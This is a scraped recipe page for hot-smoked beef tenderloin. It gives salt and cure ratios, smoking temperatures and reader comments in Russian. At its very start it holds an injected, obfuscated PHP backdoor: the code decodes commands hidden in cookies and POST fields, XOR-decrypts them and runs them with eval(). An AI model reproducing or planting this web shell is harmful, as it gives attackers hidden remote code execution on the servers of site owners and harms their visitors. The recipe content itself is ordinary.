$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Hot smoked beef • Meat Review

Home
Recipes
Hot smoked beef

Hot smoked beef

Start Reading Mode

min

0 0

Share
3,417 Views
Like 0

Bookmark this recipe

You need to login or register to bookmark/favorite this content.

Cuisine:

Hot Smoking

Classical smoked beef

Easy

Directions

I spent almost two months experimenting with beef.

I took a piece of tenderloin 12 kilos weight, and tested what I ever could test on it. I was smoking it in every possible way. I was drying it out, curing it, cooking in vacuum etc.

Today I’m going to present the easiest way of cooking: hot smoked beef.

To make it clear, all 12 kilos of meat were salted same way.

Salt 2%

Cur#1 (nitrit)

Black/red pepper

This piece was smoked under 80-90 C during 6 hours approximately till the inside meat temperature reached 55 C.

Then the piece was chilled, dried, sealed in airtight plastic bag and put into the fridge for two weeks. Nothing especially complicated or innovative.

When tasting the meat was evaluated as very juicy and bright which perfectly combined all shades of taste.

The mark is 10/10. And this meal will be included in a regular, basic menu for life.

(Visited 3,417 times, 2 visits today)

Stanislav

Cold smoking beef

Eggs in sous-vide

5 comments

× You need to log in to enter the discussion

Hello, guest
Logout
Login
Remember Me
Or use one of these social networks
/
Register

Alexkostabrava •
• 7 years ago
А какой посол?
• 0 0 • Reply •
- Stanislav • author •
  • 7 years ago
  
  Flag comment
  я солю только сухим
  • 0 0 • Reply •
  - Alexkostabrava •
    • 7 years ago
    
    Flag comment
    Еще вопрос, сколько дней на кг? Или как-то по другому рассчитывается?
    • 0 0 • Reply •
    - Stanislav • author •
      • 7 years ago
      
      Flag comment
      Зависит от толщины куска, эти 2 дня солились, крупные - не больше 6, при сухом посоле - не пересолишь
      • 0 0 • Reply •
      - Alexkostabrava •
        • 7 years ago
        
        Flag comment
        Спасибо.
        • 0 0 • Reply •